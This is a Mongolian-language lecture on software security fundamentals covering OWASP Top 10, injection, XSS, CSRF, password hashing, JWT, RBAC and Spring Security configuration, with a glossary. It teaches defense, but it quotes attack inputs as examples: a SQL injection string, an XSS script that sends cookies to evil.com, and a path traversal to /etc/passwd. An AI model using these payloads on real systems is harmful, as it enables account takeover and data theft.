ОНОЛ 10

Програм Хангамжийн Аюулгүй Байдал

ЛЕКЦ 10: ПРОГРАМ ХАНГАМЖИЙН АЮУЛГҮЙ БАЙДАЛ (Software Security Fundamentals)

Хичээлийн зорилго: Програм хангамжийн аюулгүй байдлын суурь ойлголт, OWASP Top 10 эмзэг байдлууд, аюулгүй код бичих зарчмууд, authentication/authorization, шифрлэлт, Spring Security ашиглан бодит хамгаалалт хэрэгжүүлэхийг эзэмшүүлэх.

Хамрах хүрээ: CIA Triad, OWASP Top 10, SQL Injection, XSS, CSRF, Authentication (JWT, Session), Authorization (RBAC), Password hashing (bcrypt), HTTPS/TLS, CORS, Spring Security, Input Validation, Secure Coding Best Practices.



ХЭСЭГ 1: ОНОЛЫН СУУРЬ (Theory & Foundations)

1.1 Програм хангамжийн аюулгүй байдал яагаад чухал вэ?

💡 Зүйрлэл: Гэрийн хаалгагүй байшин = Хэн ч ороод гарна. Програмын аюулгүй байдал = Хаалга, цоож, камер, дохиолол.

Бодит жишээнүүд:

ЖишээНөлөөлөл
Equifax (2017)147 сая хүний мэдээлэл задарсан — Patch хийгээгүй Apache Struts
SolarWinds (2020)Supply chain халдлага — 18,000+ байгууллага
Log4Shell (2021)Log4j эмзэг байдал — Бүх Java систем эрсдэлтэй
MOVEit (2023)SQL Injection — Олон мянган байгууллагын өгөгдөл

Аюулгүй байдал = Төсвөөс гадуур биш

Үе шатЗардал
Дизайн үед олох$1
Хөгжүүлэлт үед олох$10
Тест үед олох$100
Production-д олох$1,000+
Хакер олох$10,000+ + Нэр хүнд

1.2 CIA Triad — Аюулгүй байдлын 3 тулгуур

ТулгуурАнглиТайлбарЖишээ
НууцлалConfidentialityЗөвхөн ЗӨВШӨӨРӨГДСӨН хүн мэдээлэлд хандахШифрлэлт, Access Control
Бүрэн бүтэнIntegrityМэдээлэл ӨӨРЧЛӨГДӨӨГҮЙ, ЗӨВ байхHash, Digital Signature
ХүртээмжAvailabilityМэдээлэл ХЭРЭГТЭЙ ҮЕДЭЭ ашиглах боломжтойBackup, DDoS хамгаалалт
        Нууцлал
       (Confidentiality)
          ▲
         ╱ ╲
        ╱   ╲
       ╱ CIA ╲
      ╱───────╲
     ╱         ╲
    ▼           ▼
Бүрэн бүтэн   Хүртээмж
(Integrity)    (Availability)

1.3 OWASP Top 10 — Хамгийн түгээмэл 10 эмзэг байдал

OWASP = Open Web Application Security Project — Вэб аюулгүй байдлын нээлттэй төсөл.

OWASP Top 10 (2021):

#НэрТайлбар
A01Broken Access ControlЗөвшөөрөлгүй хандалт (admin endpoint руу энгийн хэрэглэгч)
A02Cryptographic FailuresШифрлэлтийн алдаа (HTTP, MD5, plaintext password)
A03InjectionSQL Injection, XSS — Хортой код шигтгэх
A04Insecure DesignАюулгүй бус дизайн (threat modeling хийгээгүй)
A05Security MisconfigurationТохиргооны алдаа (default password, debug mode)
A06Vulnerable ComponentsЭмзэг dependency (хуучин library)
A07Auth FailuresНэвтрэлтийн алдаа (сул password, brute force)
A08Software/Data IntegrityШалгагдаагүй update, CI/CD pipeline халдлага
A09Logging FailuresЛог хангалтгүй → Халдлагыг олж чадахгүй
A10SSRFServer-Side Request Forgery — Серверээс дотоод сүлжээ рүү хүсэлт

1.4 Injection халдлагууд

1.4.1 SQL Injection

SQL Injection = Хэрэглэгчийн оролтоор хортой SQL код шигтгэж, DB-д зөвшөөрөгдөөгүй үйлдэл хийх.

Хэрэглэгч оролт: ' OR '1'='1' --

SQL query:
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = '...'
                                    ↑
                          Бүх хэрэглэгч буцаана!

Эмзэг код (❌ БУРУУ):

// String concatenation → SQL Injection эмзэг!
String query = "SELECT * FROM users WHERE email = '" + email + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Аюулгүй код (✅ ЗӨВ):

// Prepared Statement → SQL Injection-аас хамгаалагдсан
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, email);  // Параметрийг УТГА гэж боловсруулна
ResultSet rs = stmt.executeQuery();

JPA/Hibernate — Автомат хамгаалалт:

// JPA = Prepared Statement автоматаар ашиглана
@Query("SELECT u FROM User u WHERE u.email = :email")
Optional<User> findByEmail(@Param("email") String email);

// Spring Data method naming — Аюулгүй
Optional<User> findByEmail(String email);

1.4.2 XSS (Cross-Site Scripting)

XSS = Хортой JavaScript код вэб хуудсанд шигтгэж, бусад хэрэглэгчийн browser дээр ажиллуулах.

Халдагч оруулна:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Хэрвээ escape хийгээгүй бол → Бусад хэрэглэгчийн cookie хулгайлагдана!
ТөрөлТайлбар
Stored XSSDB-д хадгалагдсан хортой script (comment, profile)
Reflected XSSURL parameter-аар дамжсан script
DOM XSSClient-side JavaScript-ээр DOM өөрчлөх

Хамгаалалт:

// 1. Output encoding — HTML escape
import org.apache.commons.text.StringEscapeUtils;
String safe = StringEscapeUtils.escapeHtml4(userInput);

// 2. Content-Security-Policy header
// 3. HttpOnly cookie (JavaScript-аас хандах боломжгүй)

1.4.3 CSRF (Cross-Site Request Forgery)

CSRF = Хэрэглэгчийг мэдэхгүйд нь хортой хүсэлт илгээлгэх.

1. Хэрэглэгч bank.com руу нэвтэрсэн (session cookie байна)
2. evil.com руу зочилно
3. evil.com автоматаар form submit: POST bank.com/transfer?to=hacker&amount=1000
4. Browser cookie-г автоматаар илгээнэ → Мөнгө шилжинэ!

Хамгаалалт:

// Spring Security — CSRF token автомат
@Configuration
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.csrf(csrf -> csrf
            .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
        );
        return http.build();
    }
}
// API (stateless JWT) бол CSRF идэвхгүй болгож болно:
// http.csrf(csrf -> csrf.disable())

1.5 Authentication (Нэвтрэлт) ба Authorization (Зөвшөөрөл)

Ялгаа:

ШинжAuthentication (AuthN)Authorization (AuthZ)
Асуулт"Чи ХЭН бэ?""Чамд ЮУ хийх эрх байна?"
ЖишээLogin (email + password)Admin = Бүгд, User = Зөвхөн өөрийнхөө
ХэзээЭхэндAuthentication-ий дараа
МеханизмPassword, JWT, OAuthRole, Permission, Policy

1.5.1 Password хадгалалт

❌ БУРУУ — Plaintext:

users table:
| email          | password    |
| bat@test.com   | myPassword  |  ← Plaintext! DB задарвал бүгд мэднэ

❌ БУРУУ — MD5/SHA-1:

| email          | password                         |
| bat@test.com   | 34819d7beeabb9260a5c854bc85b3e44 |  ← Rainbow table-аар тайлна

✅ ЗӨВ — bcrypt (salt + slow hash):

// Spring Security — BCrypt
@Bean
public PasswordEncoder passwordEncoder() {
    return new BCryptPasswordEncoder(12); // strength = 12
}

// Хадгалах
String hashed = passwordEncoder.encode("myPassword");
// → $2a$12$LJ3m4ys3Gkl0TdXTN5Y5pO...  (salt + hash, нэг удаа ч давтагдахгүй)

// Шалгах
boolean matches = passwordEncoder.matches("myPassword", hashed); // true

bcrypt яагаад аюулгүй вэ?

ШинжMD5/SHAbcrypt
ХурдМаш хурдан (сая/сек)Зориудаар УДААН (10-100/сек)
SaltБайхгүйАвтомат (давтагдашгүй)
Rainbow TableТайлж чаднаТайлж ЧАДАХГҮЙ

1.5.2 JWT (JSON Web Token)

JWT = Stateless authentication token. Сервер session хадгалахгүй.

JWT бүтэц:
Header.Payload.Signature

eyJhbGciOiJIUzI1NiJ9.           ← Header (алгоритм)
eyJzdWIiOiIxMjM0NSIsIm5hbWUi... ← Payload (хэрэглэгчийн мэдээлэл)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV ← Signature (гарын үсэг)
┌──────────┐    POST /login         ┌──────────┐
│  Client  │ ──────────────────────►│  Server  │
│          │    {email, password}    │          │
│          │                        │          │
│          │◄────────────────────── │          │
│          │    {token: "eyJ..."}   │          │
│          │                        │          │
│          │    GET /api/students    │          │
│          │ ──────────────────────►│          │
│          │    Authorization:       │          │
│          │    Bearer eyJ...        │          │
│          │                        │          │
│          │◄────────────────────── │          │
│          │    {students: [...]}    │          │
└──────────┘                        └──────────┘

JWT vs Session:

ШинжSessionJWT
ХадгалалтСервер дээр (memory/DB)Client дээр (token)
Stateless❌ (сервер дээр state)✅ (сервер дээр юу ч хадгалахгүй)
ScaleХэцүү (session sync)Хялбар (token бие даасан)
Хүчингүй болгохХялбар (session устгах)Хэцүү (token expire хүлээх)
МикросервисХэцүүТохиромжтой

1.5.3 RBAC (Role-Based Access Control)

RBAC = Хэрэглэгчид ДҮРД оноож, дүр бүрт ЭРХҮҮД олгох.

Хэрэглэгч → Дүр → Эрхүүд

Бат   → ADMIN    → [CREATE, READ, UPDATE, DELETE, MANAGE_USERS]
Дорж  → TEACHER  → [CREATE, READ, UPDATE]
Сараа → STUDENT  → [READ]
// Spring Security — Role-based
@RestController
@RequestMapping("/api")
public class StudentController {

    @GetMapping("/students")
    @PreAuthorize("hasAnyRole('ADMIN', 'TEACHER', 'STUDENT')")
    public List<Student> getAll() { ... }

    @PostMapping("/students")
    @PreAuthorize("hasAnyRole('ADMIN', 'TEACHER')")
    public Student create(@RequestBody Student student) { ... }

    @DeleteMapping("/students/{id}")
    @PreAuthorize("hasRole('ADMIN')")
    public void delete(@PathVariable Long id) { ... }
}

1.6 HTTPS ба TLS

HTTP vs HTTPS:

ШинжHTTPHTTPS
Шифрлэлт❌ Plaintext✅ TLS шифрлэлт
НууцлалХэн ч уншинаЗөвхөн илгээгч ба хүлээн авагч
Бүрэн бүтэнӨөрчлөгдөж болноӨөрчлөгдвөл мэдэгдэнэ
Port80443
HTTP:
Client ──── "password123" ──── Хакер уншина! ──── Server

HTTPS:
Client ──── "x8Kj2#mP..." ──── Хакер ойлгохгүй ──── Server
             (шифрлэгдсэн)

TLS Handshake (товчлол):

Client                          Server
  │── ClientHello ──────────────►│
  │◄── ServerHello + Certificate │
  │── Key Exchange ─────────────►│
  │◄── Finished ─────────────── │
  │                              │
  │◄═══ Шифрлэгдсэн холбоо ═══►│

1.7 CORS (Cross-Origin Resource Sharing)

CORS = Өөр домайнаас API руу хүсэлт илгээх зөвшөөрөл.

Frontend: https://myapp.com
Backend:  https://api.myapp.com  ← Өөр origin!

Browser: "api.myapp.com, myapp.com-аас хүсэлт ирж болох уу?"
Server:  "Тийм, Access-Control-Allow-Origin: https://myapp.com"
Browser: "OK, хүсэлт илгээнэ"
// Spring Boot — CORS тохиргоо
@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
            .allowedOrigins("https://myapp.com")  // Зөвхөн энэ domain
            .allowedMethods("GET", "POST", "PUT", "DELETE")
            .allowedHeaders("*")
            .allowCredentials(true)
            .maxAge(3600);
    }
}

⚠️ ХЭЗЭЭ Ч: allowedOrigins("*") + allowCredentials(true) хамт ашиглахгүй! Аюултай.


1.8 Input Validation (Оролтын баталгаажуулалт)

Яагаад чухал вэ?

"Never trust user input" — Хэрэглэгчийн оролтод ХЭЗЭЭ Ч итгэхгүй.

ОролтХалдлага
' OR '1'='1SQL Injection
<script>alert('XSS')</script>XSS
../../../../etc/passwdPath Traversal
999999999999Integer Overflow
null, хоосонNullPointerException
// Spring Validation — Bean Validation (JSR 380)
public class CreateStudentRequest {

    @NotBlank(message = "Нэр хоосон байж болохгүй")
    @Size(min = 2, max = 100, message = "Нэр 2-100 тэмдэгт")
    @Pattern(regexp = "^[a-zA-Zа-яА-ЯөүӨҮёЁ\\s]+$", message = "Зөвхөн үсэг")
    private String name;

    @NotBlank(message = "Email хоосон байж болохгүй")
    @Email(message = "Email формат буруу")
    private String email;

    @NotNull(message = "GPA заавал")
    @DecimalMin(value = "0.0", message = "GPA >= 0")
    @DecimalMax(value = "4.0", message = "GPA <= 4.0")
    private BigDecimal gpa;
}

// Controller-д @Valid ашиглах
@PostMapping("/students")
public Student create(@Valid @RequestBody CreateStudentRequest request) {
    // Validation амжилттай бол л энд хүрнэ
}

1.9 Spring Security суурь

Spring Security архитектур:

HTTP Request
    │
    ▼
┌───────────────────┐
│  Security Filter  │  ← Filter Chain (OncePerRequestFilter)
│      Chain        │
├───────────────────┤
│ 1. CORS Filter    │
│ 2. CSRF Filter    │
│ 3. Auth Filter    │  ← JWT token шалгах
│ 4. Authorization  │  ← Role/Permission шалгах
│ 5. Exception      │
└───────┬───────────┘
        │
        ▼ (Зөвшөөрөгдсөн)
┌───────────────────┐
│   Controller      │
│   Service         │
│   Repository      │
└───────────────────┘

Spring Security тохиргоо:

@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // CSRF (Stateless API бол disable)
            .csrf(csrf -> csrf.disable())

            // Session (JWT бол stateless)
            .sessionManagement(session ->
                session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            // Endpoint хандалт
            .authorizeHttpRequests(auth -> auth
                // Нээлттэй endpoint
                .requestMatchers("/api/auth/**").permitAll()
                .requestMatchers("/actuator/health").permitAll()

                // Admin endpoint
                .requestMatchers("/api/admin/**").hasRole("ADMIN")

                // Бусад бүгд — Нэвтрэлт шаардлагатай
                .anyRequest().authenticated()
            )

            // JWT Filter нэмэх
            .addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);

        return http.build();
    }

    @Bean
    public PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder(12);
    }
}

1.10 Dependency Security

Эмзэг dependency:

Таны апп → Spring Boot 3.1 → Log4j 2.14 → Log4Shell эмзэг байдал!

Шалгах хэрэгслүүд:

ХэрэгсэлТайлбар
OWASP Dependency-CheckMaven/Gradle dependency scan
SnykАвтомат vulnerability scan + fix PR
GitHub DependabotАвтомат dependency update PR
TrivyDocker image vulnerability scan
<!-- pom.xml — OWASP Dependency-Check -->
<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>9.0.7</version>
    <executions>
        <execution>
            <goals>
                <goal>check</goal>
            </goals>
        </execution>
    </executions>
</plugin>
# Шалгалт ажиллуулах
mvn dependency-check:check

# Тайлан: target/dependency-check-report.html

1.11 Secure Coding Best Practices

#ЗарчимТайлбар
1Input ValidationБүх оролтыг ШАЛГАХ (@Valid, whitelist)
2Output EncodingHTML, JS, SQL-д output encode хийх
3Prepared StatementSQL Injection-аас хамгаалах
4bcryptPassword ХЭЗЭЭ Ч plaintext хадгалахгүй
5HTTPSБүх холбоог шифрлэх
6Least PrivilegeХамгийн БАГА эрх олгох
7Defense in DepthОлон давхар хамгаалалт
8Fail SecurelyАлдаа гарвал ХААХ (нээхгүй)
9Secrets ManagementPassword кодонд ХАДГАЛАХГҮЙ (Vault, Env)
10Dependency UpdateLibrary ТОГТМОЛ шинэчлэх
11Security LoggingНэвтрэлт, алдааг ЛОГ бичих
12CORS зөв тохируулахallowedOrigins("*") ашиглахгүй
13Rate LimitingBrute force-аас хамгаалах
14Security HeadersCSP, X-Frame-Options, HSTS
15Code ReviewАюулгүй байдлын review хийх

1.12 Security Headers

Чухал HTTP Security Headers:

HeaderЗорилго
Content-Security-PolicyXSS-аас хамгаалах (script ачаалах эх сурвалж хязгаарлах)
X-Content-Type-OptionsMIME type sniffing-аас хамгаалах
X-Frame-OptionsClickjacking-аас хамгаалах (iframe-д оруулахгүй)
Strict-Transport-SecurityHTTPS шаардах (HSTS)
X-XSS-ProtectionBrowser XSS filter идэвхжүүлэх
Referrer-PolicyReferrer мэдээлэл хязгаарлах
// Spring Security — Security Headers автомат
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .headers(headers -> headers
            .contentSecurityPolicy(csp ->
                csp.policyDirectives("default-src 'self'; script-src 'self'"))
            .frameOptions(frame -> frame.deny())
            .httpStrictTransportSecurity(hsts ->
                hsts.maxAgeInSeconds(31536000).includeSubDomains(true))
        );
    return http.build();
}

1.13 Rate Limiting ба Brute Force хамгаалалт

Rate Limiting:

Хэрэглэгч → POST /api/auth/login (100 удаа 1 минутад)
                                    ↓
Rate Limiter: "429 Too Many Requests" → Хаагдсан!
// Spring Boot — Bucket4j ашиглан Rate Limiting
@RestController
public class AuthController {

    private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();

    @PostMapping("/api/auth/login")
    public ResponseEntity<?> login(@RequestBody LoginRequest request,
                                    HttpServletRequest httpRequest) {
        String ip = httpRequest.getRemoteAddr();
        Bucket bucket = buckets.computeIfAbsent(ip, k ->
            Bucket.builder()
                .addLimit(Bandwidth.simple(5, Duration.ofMinutes(1))) // 5 удаа/мин
                .build()
        );

        if (!bucket.tryConsume(1)) {
            return ResponseEntity.status(429).body("Хэт олон оролдлого. Түр хүлээнэ үү.");
        }

        // Login логик...
    }
}

Account Lockout:

5 удаа буруу password → Account 15 мин ТҮГЖИГДЭНЭ

1.14 OAuth 2.0 ба SSO ойлголт

OAuth 2.0:

Хэрэглэгч → "Google-ээр нэвтрэх" → Google Login → Redirect + Token → API хандалт
НэрТайлбар
Resource OwnerХэрэглэгч (Бат)
ClientТаны апп (student-api)
Authorization ServerGoogle, GitHub, Keycloak
Resource ServerТаны API

SSO (Single Sign-On):

1 удаа нэвтрэх → Бүх систем рүү хандах

Нэвтрэх (Keycloak) → student-api ✅
                    → teacher-api ✅
                    → admin-portal ✅

1.15 Threat Modeling

Threat Modeling гэж юу вэ?

Системийн аюулыг УРЬДЧИЛАН тодорхойлж, хамгаалалт төлөвлөх.

STRIDE загвар:

АюулАнглиТайлбарХамгаалалт
SSpoofingХуурамч нэрээр нэвтрэхAuthentication (JWT, MFA)
TTamperingӨгөгдөл өөрчлөхIntegrity (Hash, Signature)
RRepudiation"Би хийгээгүй" гэхLogging, Audit trail
IInformation DisclosureМэдээлэл задрахEncryption, Access Control
DDenial of ServiceСистем ажиллахгүй болгохRate Limiting, DDoS protection
EElevation of PrivilegeЭрх дээшлүүлэхAuthorization, Least Privilege


ХЭСЭГ 2: ТҮЛХҮҮР ҮГ БА МЭРГЭЖЛИЙН НЭР ТОМЬЁО (Keywords & Glossary)

#Англи нэр томьёоМонгол утгаДэлгэрэнгүй тайлбар
1CIA TriadCIA гурвалжинConfidentiality, Integrity, Availability — Аюулгүй байдлын 3 тулгуур.
2OWASPOWASPOpen Web Application Security Project — Вэб аюулгүй байдлын нээлттэй төсөл.
3SQL InjectionSQL шигтгэлтОролтоор хортой SQL код шигтгэх халдлага.
4XSSХөндлөн скриптCross-Site Scripting — Хортой JS код вэб хуудсанд шигтгэх.
5CSRFХөндлөн хүсэлтCross-Site Request Forgery — Хэрэглэгчийг мэдэхгүйд хүсэлт илгээлгэх.
6AuthenticationНэвтрэлт"Чи ХЭН бэ?" — Хэрэглэгчийг таних.
7AuthorizationЗөвшөөрөл"Юу хийх ЭРХ байна?" — Хандалт хянах.
8JWTJWT токенJSON Web Token — Stateless authentication token.
9OAuth 2.0OAuth 2.0Гуравдагч талын нэвтрэлт (Google, GitHub).
10SSOНэг нэвтрэлтSingle Sign-On — 1 удаа нэвтэрч олон систем ашиглах.
11RBACДүрд суурилсан хандалтRole-Based Access Control — Дүрээр эрх удирдах.
12bcryptbcryptУдаан hash + salt — Password аюулгүй хадгалах.
13SaltДавсPassword hash-д нэмэх давтагдашгүй тохиолдолт утга.
14HashХэшНэг чиглэлт хөрвүүлэлт (буцааж чадахгүй).
15HTTPSHTTPSHTTP + TLS шифрлэлт — Аюулгүй холбоо.
16TLSTLSTransport Layer Security — Холбоог шифрлэх протокол.
17CORSCORSCross-Origin Resource Sharing — Өөр домайнаас хандах зөвшөөрөл.
18Input ValidationОролтын баталгаажуулалтХэрэглэгчийн оролтыг шалгах (@Valid).
19Prepared StatementБэлтгэсэн мэдэгдэлПараметрийг утга гэж боловсруулах — SQL Injection хамгаалалт.
20EncryptionШифрлэлтӨгөгдлийг нууцлах (AES, RSA).
21Symmetric EncryptionТэгш шифрлэлтНэг түлхүүрээр шифрлэх + тайлах (AES).
22Asymmetric EncryptionТэгш бус шифрлэлтНийтийн + хувийн түлхүүр (RSA).
23HSTSHSTSHTTP Strict Transport Security — HTTPS шаардах.
24CSPCSPContent Security Policy — XSS хамгаалалт header.
25Rate LimitingХурд хязгаарлалтХүсэлтийн тоог хязгаарлах (brute force хамгаалалт).
26Brute ForceБүдүүлэг хүчБүх боломжит password оролдох халдлага.
27MFA / 2FAОлон хүчин зүйлт нэвтрэлтMulti-Factor Authentication — Password + OTP/SMS.
28VulnerabilityЭмзэг байдалСистемийн аюулгүй байдлын сул тал.
29ExploitАшиглалтЭмзэг байдлыг ашиглах халдлага.
30Penetration TestingНэвтрэлтийн тестСистемд зориудаар халдаж, сул талыг олох.
31Threat ModelingАюулын загварчлалАюулыг урьдчилан тодорхойлж, хамгаалалт төлөвлөх.
32STRIDESTRIDESpoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation.
33Least PrivilegeХамгийн бага эрхШаардлагатай хамгийн бага эрх олгох зарчим.
34Defense in DepthОлон давхар хамгаалалтНэг давхар эвдэрсэн ч бусад нь хамгаална.
35Security HeaderАюулгүй байдлын толгойCSP, X-Frame-Options, HSTS зэрэг HTTP header.
36Dependency CheckХамаарлын шалгалтLibrary-ийн эмзэг байдлыг шалгах (OWASP, Snyk).
37Spring SecuritySpring SecuritySpring Boot-ийн аюулгүй байдлын framework.
38Filter ChainШүүлтүүрийн гинжHTTP хүсэлт боловсруулах шүүлтүүрүүдийн дараалал.
39KeycloakKeycloakНээлттэй эх Identity + Access Management сервер.
40Zero TrustТэг итгэл"Хэнд ч итгэхгүй, бүгдийг шалгах" аюулгүй байдлын загвар.